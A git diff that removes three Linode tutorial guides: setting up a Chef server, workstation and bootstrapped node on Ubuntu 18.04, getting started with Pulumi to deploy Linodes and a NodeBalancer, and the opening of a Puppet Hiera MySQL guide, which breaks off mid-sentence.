b/docs/guides/applications/configuration-management/chef/install-a-chef-server-workstation-on-ubuntu-18-04/index.md deleted file mode 100644 index a7d4957c258..00000000000 --- a/docs/guides/applications/configuration-management/chef/install-a-chef-server-workstation-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,352 +0,0 @@ ---- -slug: install-a-chef-server-workstation-on-ubuntu-18-04 -title: 'Installing a Chef Server Workstation on Ubuntu 18.04' -title_meta: 'How To Install a Chef Server Workstation on Ubuntu 18.04' -description: 'Instructions on how to configure a Chef server and a virtual workstation, and how to bootstrap a client node on Ubuntu 18.04.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2018-08-06 -modified: 2019-12-03 -keywords: ["chef", "configuration management", "server automation", "chef server", "chef workstation", "chef-client"] -tags: ["ubuntu","automation"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -relations: - platform: - key: install-chef-workstation - keywords: - - distribution: Ubuntu 18.04 -aliases: ['/applications/configuration-management/chef/install-a-chef-server-workstation-on-ubuntu-18-04/','/applications/configuration-management/install-a-chef-server-workstation-on-ubuntu-18-04/'] ---- - -[Chef](http://www.chef.io) is a Ruby based configuration management tool used to define infrastructure as code. This enables users to automate the management of many *nodes* and maintain consistency across those nodes. *Recipes* declare the desired state for managed nodes and are created on a user's *workstation* using the *Chef Workstation* package. Your recipes are distributed across nodes via a *Chef server*. A *Chef client*, installed on each node, is in charge of applying the recipe to its corresponding node. - -![chef_graph-small.png](chef-graph.png "Illustration showing that workstations talk to Nodes via the Chef Server") - -This guide will show you how to create and configure a Chef server and workstation. You will also bootstrap a node to manage with Chef. This work will require three individual Linodes. - -See [A Beginner's Guide to Chef](/cloud/guides/beginners-guide-chef/) for an introduction to Chef concepts. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/#understanding-the-sudo-linux-group-and-user) guide. -{{< /note >}} - -## Prerequisites - -- One 8GB Linode running Ubuntu 18.04. This Linode will host the Chef server. - - Assign a Domain to the Chef server. Ensure your domain has a corresponding domain zone, NS record, and A/AAA record. See [Create a Domain](https://techdocs.akamai.com/cloud-computing/docs/create-a-domain) for details. - - Ensure your Chef server's hostname is the same as its Domain name. Your Chef server will automatically create SSL certificates based on the Linode's hostname. -- Two 2 GB Linodes, each running Ubuntu 18.04. One Linode will host a workstation and the other a node to be managed by Chef. -- The workstation and Chef server should be configured per the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. Once your node is [bootstrapped](/cloud/guides/install-a-chef-server-workstation-on-ubuntu-18-04/#bootstrap-a-node), you can use a Chef cookbook to secure your node. Consider using the [Users](https://supermarket.chef.io/cookbooks/users) cookbook and the [Firewall](https://supermarket.chef.io/cookbooks/firewall) cookbook for this work. -- Ensure that all servers are up-to-date: - - sudo apt update && sudo apt upgrade - -## The Chef Server - -The Chef server is the hub of interaction between all workstations and nodes under Chef management. Changes made to configuration code on workstations are pushed to the Chef server, and then pulled by a node's `chef-client` to apply the configurations. - -### Install the Chef Server - -1. Download the [latest Chef server core](https://downloads.chef.io/chef-server/#ubuntu): - - wget https://packages.chef.io/files/stable/chef-server/13.1.13/ubuntu/18.04/chef-server-core_13.1.13-1_amd64.deb - -1. Install the server: - - sudo dpkg -i chef-server-core_*.deb - -1. Remove the downloaded file: - - rm chef-server-core_*.deb - -1. The Chef server includes a command line utility called `chef-server-ctl`. Run `chef-server-ctl` to start the Chef server services: - - sudo chef-server-ctl reconfigure - -### Create a Chef User and Organization - -In order to link workstations and nodes to the Chef server, create an administrator and organization with associated RSA private keys. - -1. From the home directory, create a `.chef` directory to store the keys: - - mkdir .chef - -1. Use `chef-server-ctl` to create a user. In this example, change the following to match your needs: `USER_NAME`, `FIRST_NAME`, `LAST_NAME`, `EMAIL`, and `PASSWORD`. Adjust `USER_NAME.pem`, and leave the `.pem` extension: - - sudo chef-server-ctl user-create USER_NAME FIRST_NAME LAST_NAME EMAIL 'PASSWORD' --filename ~/.chef/USER_NAME.pem - - To view a list of all users on your Chef server issue the following command: - - sudo chef-server-ctl user-list - -1. Create an organization and add the user created in the previous step to the admins and billing admins security groups. Replace `ORG_NAME` with a short identifier for the organization, `ORG_FULL_NAME` with the organizations' complete name, `USER_NAME` with the username created in the step above and `ORG_NAME.pem` with organization's short identifier followed by `.pem`: - - sudo chef-server-ctl org-create ORG_NAME "ORG_FULL_NAME" --association_user USER_NAME --filename ~/.chef/ORG_NAME.pem - - {{< note respectIndent=false >}} -`ORG_NAME` must be in all lower case. -{{< /note >}} - - To view a list of all organizations on your Chef server, use the following command: - - sudo chef-server-ctl org-list - -With the Chef server installed and the RSA keys generated, you can begin configuring your workstation. The workstation is where all major configurations will be created for your nodes. - -## Chef Workstations - -The Chef workstation is where you create and configure any recipes, cookbooks, attributes, and other changes necessary to manage your nodes. Although this can be a local machine running any OS, there is some benefit to keeping a remote server as your workstation so you can access it from anywhere. - -In this section, you will download and install the Chef Workstation package, which provides all tools also included with the [ChefDK](https://docs.chef.io/about_chefdk.html), Chef's development kit. - -### Setting Up a Workstation - -1. [Download the latest Chef Workstation](https://downloads.chef.io/chef-workstation/0.2.43#ubuntu): - - wget https://packages.chef.io/files/stable/chef-workstation/0.2.43/ubuntu/18.04/chef-workstation_0.2.43-1_amd64.deb - -1. Install Chef Workstation: - - sudo dpkg -i chef-workstation_*.deb - -1. Remove the installation file: - - rm chef-workstation_*.deb - -1. Create your Chef repository. The `chef-repo` directory will store your Chef cookbooks and other related files. - - chef generate repo chef-repo - -1. Ensure that your workstation's `/etc/hosts` file maps its IP address to your Chef server's fully qualified domain name and workstation hostnames. For example: - - {{< file "/etc/hosts">}} -127.0.0.1 localhost -192.0.1.0 example.com -192.0.2.0 workstation -... - {{}} - -1. Create a `.chef` subdirectory. The `.chef` subdirectory will store your [Knife](/cloud/guides/beginners-guide-chef/#knife) configuration file and your `.pem` files that are used for RSA key pair authentication with the Chef server. Move into the `chef-repo` directory: - - mkdir ~/chef-repo/.chef - cd chef-repo - -### Add the RSA Private Keys - -Authentication between the Chef server and workstation and/or nodes is completed with public key encryption. This ensures that the Chef server only communicates with trusted machines. In this section, the RSA private keys, generated when setting up the Chef server, will be copied to the workstation to allow communicate between the Chef server and workstation. - -1. If you do not already have an RSA key-pair on your workstation, generate one. This key-pair will be used to gain access to the Chef server and then transfer their `.pem` files: - - ssh-keygen -b 4096 - - Press **Enter** to use the default names `id_rsa` and `id_rsa.pub` in `/home/your_username/.ssh` before entering your passphrase. - - {{< note respectIndent=false >}} - If you have disabled SSH password authentication on your Chef server's Linode, as recommended by the [How to Secure Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#ssh-daemon-options) guide, re-enable SSH password authentication prior to performing these steps. Be sure to disable it again once you have added your workstation's public ssh key to the Chef server's Linode. - {{< /note >}} - - Upload your workstation's public key to the Linode hosting the Chef server. Ensure you replace `example_user` with the Chef server's user account and `192.0.2.0` with its IP address: - - ssh-copy-id example_user@192.0.2.0 - -1. Copy the `.pem` files from your Chef server to your workstation using the `scp` command. Replace `user` with the appropriate username, and `192.0.2.0` with your Chef server's IP: - - scp example_user@192.0.2.0:~/.chef/*.pem ~/chef-repo/.chef/ - -1. Confirm that the files have been copied successfully by listing the contents of the `.chef` directory: - - ls ~/chef-repo/.chef - - Your `.pem` files should be listed. - -### Add Version Control - -The workstation is used to create, download, and edit cookbooks and other related files. You should track any changes made to these files with version control software, like Git. The Chef Workstation adds the Git component to your workstation and initializes a Git repository in the directory where the `chef-repo` was generated. Configure Git by adding your username and email, and add and commit any new files created in the steps above. - -1. Configure Git by adding your username and email, replacing the needed values: - - git config --global user.name yourname - git config --global user.email user@email.com - -2. Add the `.chef` directory to the `.gitignore` file: - - echo ".chef" > ~/chef-repo/.gitignore - -3. Move into the `~/chef-repo` directory, if you are not already there and add and commit all existing files: - - cd ~/chef-repo - git add . - git commit -m "initial commit" - -4. Make sure the directory is clean: - - git status - - It should output: - - {{< output >}} -On branch master -nothing to commit, working directory clean - {{}} - -## Generate your First Cookbook - -1. Generate a new Chef cookbook: - - chef generate cookbook my_cookbook - -### Configure Knife - -1. Create a knife configuration file by navigating to your `~/chef-repo/.chef` directory and creating a file named `config.rb` using your preferred text editor. - -1. Copy the following configuration into the `config.rb` file: - - {{< file "~/chef-repo/.chef/config.rb" ruby >}} -current_dir = File.dirname(__FILE__) -log_level :info -log_location STDOUT -node_name 'node_name' -client_key "USER.pem" -validation_client_name 'ORG_NAME-validator' -validation_key "ORGANIZATION-validator.pem" -chef_server_url 'https://example.com/organizations/ORG_NAME' -cache_type 'BasicFile' -cache_options( :path => "#{ENV['HOME']}/.chef/checksums" ) -cookbook_path ["#{current_dir}/../cookbooks"] -{{< /file >}} - -1. Change the following: - - - The value for `node_name` should be the username that was created on the Chef server. - - Change `USER.pem` under `client_key` to reflect your `.pem` file for your user. - - The `validation_client_name` should be your organization's `ORG_NAME` followed by `-validator`. - - `ORGANIZATION-validator.pem` in the `validation_key` path should be set to the `ORG_NAME` followed by `-validator.pem`. - - Finally the `chef_server_url` should be the Chef server's domain with `/organizations/ORG_NAME` appended. Be sure to replace `ORG_NAME` with your own organization's name. - -1. Move to the `chef-repo` directory and copy the needed SSL certificates from the server: - - cd .. - knife ssl fetch - - {{< note respectIndent=false >}} -The SSL certificates are generated during the installation of the Chef server. These certificates are self-signed, which means there isn’t a signing certificate authority (CA) to verify. The Chef server's hostname and FQDN should be the same so that the workstation can fetch and verify the SSL certificates. You can verify the Chef server's hostname and FQDN by running `hostname` and `hostname -f`, respectively. Consult the [Chef documentation](https://docs.chef.io/server_security.html#regenerate-certificates) for details on regenerating SSL certificates. -{{< /note >}} - -1. Confirm that `config.rb` is set up correctly by running the client list: - - knife client list - - This command should output the validator name. - -Now that your Chef server and workstation are configured, you can bootstrap your first node. - -## Bootstrap a Node - -Bootstrapping a node installs the Chef client on the node and validates the node. This allows the node to read from the Chef server and pull down and apply any needed configuration updates detected by the chef-client. - -{{< note >}} -If you encounter any `401 Unauthorized` errors ensure that your `ORGANIZATION.pem` file has `700` permissions. See [Chef's troubleshooting](https://docs.chef.io/errors.html) guide for further information on diagnosing authentication errors. -{{< /note >}} - -1. Update the `/etc/hosts` file on the *node* to identify the node, Chef server's domain name, and the workstation. - - {{< file "/etc/hosts">}} -127.0.0.1 localhost -198.51.100.0 node-hostname -192.0.2.0 workstation -192.0.1.0 example.com -... - {{}} - -1. From your *workstation*, navigate to your `~/chef-repo/.chef` directory: - - cd ~/chef-repo/.chef - -1. Bootstrap the client node either using the client node's root user, or a user with elevated privileges: - - - **As the node's root user**, change `password` to your root password and `nodename` to the desired name for your client node. You can leave this off if you would like the name to default to your node's hostname: - - knife bootstrap 192.0.2.0 -x root -P password --node-name nodename - - - **As a user with sudo privileges**, change `username` to a node user, `password` to the user's password and `nodename` to the desired name for the client node. You can leave this off if you would like the name to default to your node's hostname: - - knife bootstrap 192.0.2.0 -x username -P password --use-sudo-password --node-name nodename - - - **As a user with key-pair authentication**, change `username` to a node user, and `nodename` to the desired name for the client node. You can leave this off if you would like the name to default to your client node's hostname: - - knife bootstrap 192.0.2.0 --ssh-user username --sudo --identity-file ~/.ssh/id_rsa.pub --node-name hostname - -1. Confirm that the node has been bootstrapped by listing the client nodes: - - knife client list - - Your new client node should be included in the list. - -1. Add the bootstrapped node to your workstation's `/etc/hosts` file. Replace `node-hostname` with the hostname you just assigned to the node when it was bootstrapped: - - {{< file "/etc/hosts">}} -127.0.0.1 localhost -192.0.1.0 example.com -192.0.2.0 workstation -198.51.100.0 node-hostname -... - {{}} - -## Download a Cookbook (Optional) - -When using Chef, the Chef client should periodically run on your nodes and pull down any changes pushed to the Chef server from your workstation. You will also want the `validation.pem` file that is uploaded to your node upon bootstrap to be deleted for security purposes. While these steps can be performed manually, it is often easier and more efficient to set them up as a cookbook. - -This section is optional, but provides instructions on downloading a cookbook to your workstation and pushing it to a server, and includes the skeleton of a basic cookbook to expand on and experiment with. - -1. From your *workstation*, navigate to your `~/chef-repo/.chef` directory: - - cd ~/chef-repo/.chef - -1. Download the cookbook and dependencies: - - knife cookbook site install cron-delvalidate - -1. Open the `default.rb` file to examine the default cookbook recipe: - - {{< file "~/chef-repo/cookbooks/cron-delvalidate/recipes/default.rb" ruby >}} -# -# Cookbook Name:: cron-delvalidate -# Recipe:: Chef-Client Cron & Delete Validation.pem -# -# - -cron "clientrun" do - minute '0' - hour '*/1' - command "/usr/bin/chef-client" - action :create -end - -file "/etc/chef/validation.pem" do - action :delete -end -{{< /file >}} - - The resource `cron "clientrun" do` defines the cron action. It is set to run the `chef-client` action (`/usr/bin/chef-client`) every hour (`*/1` with the `*/` defining that it's every hour and not 1AM daily). The `action` code denotes that Chef is *creating* a new cronjob. - - `file "/etc/chef/validation.pem" do` calls to the `validation.pem` file. The `action` defines that the file should be removed (`:delete`). - - These are two very basic sets of code written in Ruby that provide an example of the code structure that will be used when creating Chef cookbooks. These examples can be edited and expanded as needed. - -1. Add the recipe to your node's run list, replacing `nodename` with your node's name: - - knife node run_list add nodename 'recipe[cron-delvalidate::default]' - -1. Push the cookbook to the Chef server: - - knife cookbook upload cron-delvalidate - - This command is also used when updating cookbooks. - -1. Use `knife-ssh` to run the `chef-client` command on your node. Replace `nodename` with your node's name. If you have set up your node with a limited user account, replace `-x root` with the correct username, i.e. `-x username`. - - knife ssh 'name:nodename' 'sudo chef-client' -x root - - The recipes in the run list will be pulled from the server and run on the node. In this instance, it will be the `cron-delvalidate` recipe. This recipe ensures that any cookbooks pushed to the Chef Server, and added to the node's run list will be pulled down to bootstrapped nodes once an hour. This automated step eliminates connecting to the node in the future to pull down changes. - -Now that you know how to download Chef cookbooks, add the cookbook to a node's run list, and apply the configurations on a node, consider securing your Chef managed node with the following cookbooks: [Users](https://supermarket.chef.io/cookbooks/users) and [Firewall](https://supermarket.chef.io/cookbooks/firewall). diff --git a/docs/guides/applications/configuration-management/pulumi/deploy-in-code-with-pulumi/index.md b/docs/guides/applications/configuration-management/pulumi/deploy-in-code-with-pulumi/index.md deleted file mode 100644 index bbec74086db..00000000000 --- a/docs/guides/applications/configuration-management/pulumi/deploy-in-code-with-pulumi/index.md +++ /dev/null @@ -1,315 +0,0 @@ ---- -slug: deploy-in-code-with-pulumi -title: Getting Started with Pulumi -description: 'Learn how to install Pulumi, import the Linode module for Pulumi, and write your first Pulumi programs.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2019-06-26 -keywords: ["pulumi", "configuration management", "infrastructure as code", "iac", "javascript", "python"] -tags: ["debian"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Pulumi Documentation](https://www.pulumi.com/docs/)' -- '[Pulumi API reference](https://www.pulumi.com/docs/languages-sdks/)' -- '[Why Pulumi](https://www.pulumi.com/why-pulumi/)' -aliases: ['/applications/configuration-management/deploy-in-code-with-pulumi/','/applications/configuration-management/pulumi/deploy-in-code-with-pulumi/'] ---- - -## What is Pulumi? - -[*Pulumi*](https://www.pulumi.com/) is a development tool that allows you to write computer programs which deploy cloud resources--a practice referred to as *infrastructure as code (IaC)*. Pulumi integrates with multiple cloud platforms, and Pulumi programs can be authored in a number of common programming languages. - -With Pulumi's Linode integration, you can manage your Linode resources as you would with our [API](https://techdocs.akamai.com/linode-api/reference/api-summary) or [CLI](https://techdocs.akamai.com/cloud-computing/docs/cli-1), but in a language you may already be familiar with. This guide will present examples written in JavaScript, but Pulumi is also compatible with Go, Python, and TypeScript. - -Pulumi also comes with a CLI interface for running the cloud infrastructure programs that you write. Once you've written a program, you can create your cloud resources with a single command: - - pulumi up - -In this guide you will learn how to: - -* [Install and set up Pulumi](#before-you-begin) on Debian 9 -* [Create a single Linode instance](#create-a-linode) using Pulumi and JavaScript -* [Create a NodeBalancer](#create-and-configure-a-nodebalancer) with two NGINX webserver backends using Pulumi and JavaScript - -## Before You Begin - -1. If you haven't yet, [create a Linode API token](https://techdocs.akamai.com/cloud-computing/docs/manage-personal-access-tokens#create-an-api-token). - -1. [Create a free Pulumi Cloud account](https://app.pulumi.com/signup). - -1. Create a new Debian 9 Linode. Follow our [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guide to deploy the Linode, and then follow the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. Be sure to create a [limited Linux user with sudo privileges](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account) on your server. All commands in this guide are to be run from a sudo user. - -1. [Install Pulumi](https://www.pulumi.com/docs/install/) on your Linode using their installation script: - - curl -fsSL https://get.pulumi.com | sh - -1. To start using the Pulumi CLI: - - - Restart your shell session, or - - - Add `/home/username/.pulumi/bin` to your `$PATH` variable in your current session. Replace `username` with the name of your limited Linux user: - - PATH=$PATH:/home/username/.pulumi/bin - -1. Install [Node.js](https://nodejs.org/en/) and [npm](https://www.npmjs.com/): - - sudo apt-get install curl software-properties-common - curl -sL https://deb.nodesource.com/setup_12.x | sudo bash - - sudo apt-get install -y nodejs - -## Generate a Pulumi Access Token - -Once you have a Pulumi account, you will need to create an *access token* to use later. - -{{< note type="secondary" title="Why do I need a Pulumi access token?" isCollapsible=true >}} -When Pulumi interprets the infrastructure programs that you write, it determines what cloud resources it needs to create in order to satisfy your program. Every time you run your program, [Pulumi stores the state](https://www.pulumi.com/docs/concepts/state/) of these resources in a persistent backend. In subsequent updates to your infrastructure, Pulumi will compare your program with the recorded state so that it can determine which changes need to be made. - -By default, Pulumi securely stores this state information on the Pulumi Cloud, a web backend hosted at [https://app.pulumi.com](https://app.pulumi.com). This service is free to start and offers paid tiers for teams and enterprises. - -It is possible to opt-out of using the default web backend and use a self-managed backend instead. Review [Pulumi's documentation](https://www.pulumi.com/docs/concepts/state/#using-a-self-managed-backend) for instructions. -{{< /note >}} - -1. [Log into your Pulumi account](https://app.pulumi.com/signin). After you've logged in, click on the avatar graphic to the top right of the Pulumi dashboard, then click on the **Settings** option in the dropdown menu that appears: - - ![Location of Pulumi Settings option](pulumi-settings.png) - -1. Select the **Access Tokens** item in the sidebar to the left of the page that appears: - - ![Location of Pulumi Access Token page](pulumi-token.png) - -1. Click on the **New Access Token** button towards the top right of the following page and follow the prompts to create your new token. Make sure you save this in a secure location, similar to your Linode API token. - -## Create a Linode - -### Set up your Pulumi Project - -Now that you have everything you need to begin using Pulumi, you can create a new Pulumi *project*. - -{{< note >}} -A Pulumi [project](https://www.pulumi.com/docs/concepts/projects/) is the folder structure which contains your Pulumi programs. Specifically, a project is any folder which contains a `Pulumi.yaml` metadata file. -{{< /note >}} - -1. Pulumi requires an empty directory for each new project, so first you'll need to create one and make it your working directory: - - cd ~/ && mkdir pulumi && cd pulumi - -1. Now that you're inside of your new empty working directory, create a new project: - - pulumi new - -1. From here, you'll see several prompts: - - - Enter your Pulumi access token if prompted. If you've already entered it at any point following the installation of Pulumi, you will not be prompted again and can skip this step. - - Use your arrow keys to highlight the `linode-javascript` option. - - Enter a project name of your choice, or leave blank to use the default option. - - - Enter a project description, or leave blank to use the default option. - - Enter a *stack* name of your choice, or leave blank to use the default option. - - {{< note type="secondary" title="What's a stack?" isCollapsible=true >}} - Multiple instances of your Pulumi programs can be created. For example, you may want to have separate instances for the development, staging, and production environments of your service. Or, you may create multiple instances of your service if you're offering it to different business clients. In Pulumi, these instances are referred to as [stacks](https://www.pulumi.com/docs/concepts/stack/). - {{< /note >}} - - - Enter your Linode API token. - -1. Once the installation is successful, you will see a `Your new project is ready to go!` message. The `pulumi new` command scaffolds a collection of default configuration files in your project's directory. The default configuration will give you everything you need to get started. Enter the `ls` command to ensure that the files are present: - - ls - - {{< output >}} -index.js package.json Pulumi.pulumi.yaml -node_modules package-lock.json Pulumi.yaml -{{< /output >}} - - The contents of these files were defined according to our responses to each prompt after entering `pulumi new`. In particular: - - - `index.js` contains the JavaScript Pulumi will run - - `package.json` defines the dependencies we can use and the file path Pulumi will be reading our code from. - -### Inspect the Default Configuration - -Let's take a look at the contents of our `index.js` file: - -{{< file "index.js" javascript >}} -"use strict"; -const pulumi = require("@pulumi/pulumi"); -const linode = require("@pulumi/linode"); - -// Create a Linode resource (Linode Instance) -const instance = new linode.Instance("my-instance", { - type: "g6-nanode-1", - region: "us-east", - image: "linode/ubuntu18.04", -}); - -// Export the Instance label of the instance -exports.instanceLabel = instance.label; -{{< /file >}} - -The file requires two JavaScript modules unique to Pulumi: Pulumi's SDK, and Pulumi's Linode integration. [Pulumi's API Reference Documentation](https://www.pulumi.com/registry/packages/linode/) serves as a reference for the JavaScript you'll see here. It also includes a library of several additional options that enable you to create configurations more specific to your use case. - -In this case, your file is only creating a single 1GB Linode (Nanode) instance in the Newark data center running Ubuntu 18.04. - -### Create and Destroy Resources - -- Use [Pulumi's `preview` command](https://www.pulumi.com/docs/cli/commands/pulumi_preview/) to test your code and make sure it's successfully able to create resources under your account. - - pulumi preview - - The output of the command will list the operations Pulumi will perform once you deploy your program: - - Previewing update (dev): - - Type Name Plan - + pulumi:pulumi:Stack my-pulumi-project-dev create - + └─ linode:index:Instance my-instance create - - Resources: - + 2 to create - -- Use [Pulumi's `up` command](https://www.pulumi.com/docs/cli/commands/pulumi_up/) to deploy your code to your Linode account: - - pulumi up - - {{< note respectIndent=false >}} -This will create a new billable resource on your account. -{{< /note >}} - - From here, you will be prompted to confirm the resource creation. Use your arrow keys to choose the `yes` option, hit `enter`, and you will see your resources being created. Once the process is completed, the Linode Label of your new Linode will be displayed. If you check your account manually through the [Cloud Manager](https://cloud.linode.com/), you can confirm that this Linode has been successfully created. - -- Since this Linode was only created as a test, you can safely delete it by entering [Pulumi's `destroy` command](https://www.pulumi.com/docs/cli/commands/pulumi_destroy/): - - pulumi destroy - - Follow the prompts, and you'll be able to see the resources being removed, similar to how we could see them being created. - - {{< note respectIndent=false >}} -Many Pulumi commands will be logged on your Pulumi account. You can see this under the **Activity** tab of your project's stack in [Pulumi Cloud](https://app.pulumi.com/). -{{< /note >}} - -## Create and Configure a NodeBalancer - -To better demonstrate the power of Pulumi code, we'll create a new `index.js` file. This will define everything we need to create a functioning NodeBalancer which is pre-configured with two backend Linodes running NGINX. - -1. Replace the contents of your `index.js` file with the following: - - {{< file "index.js" javascript >}} -const pulumi = require("@pulumi/pulumi"); -const linode = require("@pulumi/linode"); - -// Create two new 1GB Linodes (Nanodes) using a StackScript to configure them internally. -// The StackScript referenced will install and enable NGINX. - -// "linode1" (the first argument passed to the Linode instance constructor function) is the Pulumi-allocated Unique Resource Name (URN) for this resource -const linode1 = new linode.Instance("linode1", { - // "PulumiNode1" is the Linode's label that appears in the Cloud Manager. Linode labels must be unique on your Linode account - label: "PulumiNode1", - region: "us-east", - image: "linode/debian9", - privateIp: true, - stackscriptData: { - hostname: "PulumiNode1", - }, - stackscriptId: 526246, - type:"g6-nanode-1", -}); - -const linode2 = new linode.Instance("linode2", { - label: "PulumiNode2", - region: "us-east", - image: "linode/debian9", - privateIp: true, - stackscriptData: { - hostname: "PulumiNode2", - }, - stackscriptId: 526246, - type:"g6-nanode-1", -}); - -// Create and configure your NodeBalancer - -const nodeBalancer = new linode.NodeBalancer("nodeBalancer", { - clientConnThrottle: 20, - label: "PulumiNodeBalancer", - region: "us-east", -}); - -const nodeBalancerConfig = new linode.NodeBalancerConfig("nodeBalancerConfig", { - algorithm: "source", - check: "http", - checkAttempts: 3, - checkTimeout: 30, - checkInterval: 40, - checkPath: "/", - nodebalancerId: nodeBalancer.id, - port: 8088, - protocol: "http", - stickiness: "http_cookie", -}); - -// Assign your Linodes to the NodeBalancer - -const balancerNode1 = new linode.NodeBalancerNode("balancerNode1", { - address: pulumi.concat(linode1.privateIpAddress, ":80"), - configId: nodeBalancerConfig.id, - label: "PulumiBalancerNode1", - nodebalancerId: nodeBalancer.id, - weight: 50, -}); - -const balancerNode2 = new linode.NodeBalancerNode("balancerNode2", { - address: pulumi.concat(linode2.privateIpAddress, ":80"), - configId: nodeBalancerConfig.id, - label: "PulumiBalancerNode2", - nodebalancerId: nodeBalancer.id, - weight: 50, -}); - -//Output your NodeBalancer's Public IPV4 address and the port we configured to access it -exports.nodeBalancerIP = nodeBalancer.ipv4; -exports.nodeBalancerPort = nodeBalancerConfig.port; -{{< /file >}} - - {{< note >}} - In our `index.js` file we've created and configured two Linodes using an existing [StackScript](https://techdocs.akamai.com/cloud-computing/docs/stackscripts) which installs NGINX. Pulumi's Linode integration allows for the creation of entirely [new StackScripts](https://www.pulumi.com/registry/packages/linode/api-docs/stackscript/) directly in code, which can help you to automate your deployments even further. - - If you're interested in seeing how this StackScript works, you can view it [here](https://www.linode.com/stackscripts/view/526246). - {{< /note >}} - -1. Now that you've successfully prepared your JavaScript code, let's bring up our configuration: - - pulumi up - - As before, select `yes` when prompted and wait for a few moments as your resources are created, configured, and brought online. - -1. Once the process is completed, you'll see your NodeBalancer's IP address and the port you configured earlier displayed as part of the output: - - Outputs: - + nodeBalancerIP : "192.0.2.3" - + nodeBalancerPort: 8088 - - Enter this IP address and port into your web browser, and you will see the *Hello World*-style page that the StackScript configured: - - curl http://192.0.2.3:8088/ - - {{< output >}} -Hello from PulumiNode1 -{{< /output >}} - - {{< note respectIndent=false >}} -If you do not see this page right away, you should wait a few additional moments. NodeBalancers can sometimes require a little extra time to fully apply a new configuration. -{{< /note >}} - -1. Once you're finished with your NodeBalancer, you can remove and delete everything you added by entering `pulumi destroy` as before. - -## Next Steps - -Pulumi is a powerful tool with a vast number of possible configurations that can be applied. From here you can: - -* Look at Pulumi's [examples](https://github.com/pulumi/examples) for more ideas regarding the things you can do with Pulumi. - -* Try using Pulumi with different languages like [Python](https://www.pulumi.com/docs/languages-sdks/python/) or [TypeScript](https://www.pulumi.com/docs/languages-sdks/javascript/) - -* Import Node.js tools like [Express](https://expressjs.com/) for even more elasticity with your code. - -* Use Pulumi for [Serverless Computing](https://www.pulumi.com/serverless/) \ No newline at end of file diff --git a/docs/guides/applications/configuration-management/puppet/install-and-manage-mysql-databases-with-puppet-hiera-on-ubuntu-18-04/index.md b/docs/guides/applications/configuration-management/puppet/install-and-manage-mysql-databases-with-puppet-hiera-on-ubuntu-18-04/index.md deleted file mode 100644 index 9d70e682bc3..00000000000 --- a/docs/guides/applications/configuration-management/puppet/install-and-manage-mysql-databases-with-puppet-hiera-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,241 +0,0 @@ ---- -slug: install-and-manage-mysql-databases-with-puppet-hiera-on-ubuntu-18-04 -title: "Manage MySQL Database with Puppet Hiera on Ubuntu 18.04" -description: "Use this guide to install Puppet with MySQL modules and Puppet Hiera configuration manifests to manage MySQL in a variety of environments on Ubuntu 18.04." -authors: ["Linode"] -contributors: ["Linode"] -published: 2019-01-15 -keywords: ["puppet installation", "configuration change management", "server automation", "mysql", "database", "hiera"] -tags: ["database","ubuntu","automation","mysql"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Puppet Labs](https://puppet.com/)' - - '[Puppet Open Source Documentation](https://puppet.com/docs/open-source-puppet/)' - - '[The Puppet Forge](https://forge.puppet.com/)' - - '[Hiera documentation](https://docs.puppet.com/hiera/)' - - '[Facter](https://puppet.com/docs/puppet/7/facter.html)' -relations: - platform: - key: install-puppet-mysql-hiera - keywords: - - distribution: Ubuntu 18.04 -aliases: ['/applications/configuration-management/puppet/install-and-manage-mysql-databases-with-puppet-hiera-on-ubuntu-18-04/','/applications/configuration-management/install-and-manage-mysql-databases-with-puppet-hiera-on-ubuntu-18-04/'] ---- - -[Puppet](https://puppet.com/) is a configuration management system that helps simplify the use and deployment of different types of software, making system administration more reliable and replicable. In this guide, we use Puppet to manage an installation of [MySQL](https://www.mysql.com/), a popular relational database used for applications such as WordPress, Ruby on Rails, and others. [Hiera](https://docs.puppet.com/hiera/) is a method of defining configuration values that Puppet will use to simplify MySQL configuration. - -In this guide, you'll use Puppet to deploy [modules](https://docs.puppet.com/puppet/latest/modules_fundamentals.html) on your server. At the end, you will have MySQL installed, configured, and ready to use for a variety of applications that require a database backend. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -## Install and Configure Puppet - -Follow these steps to set up Puppet for single-host, local-only deployment. If you need to configure more than one server or to deploy a Puppet master, follow our [multi-server Puppet guide](/cloud/guides/install-and-configure-puppet/). - -### Install the Puppet Package - -1. Install the `puppetlabs-release-bionic` repository to add the Puppet packages: - - wget https://apt.puppet.com/puppet-release-bionic.deb - sudo dpkg -i puppet-release-bionic.deb - -2. Update the apt package index to make the Puppet Labs repository packages available, then install Puppet. This will install the `puppet-agent` package, which provides the `puppet` executable within in a compatible Ruby environment: - - sudo apt update && sudo apt install puppet-agent - -3. Confirm the version of Puppet installed: - - puppet --version - - At the time of writing, the Puppet version is `6.1.0`. - -### Install the Puppet MySQL Module - -[Puppet Forge](https://forge.puppet.com/) is a collection of 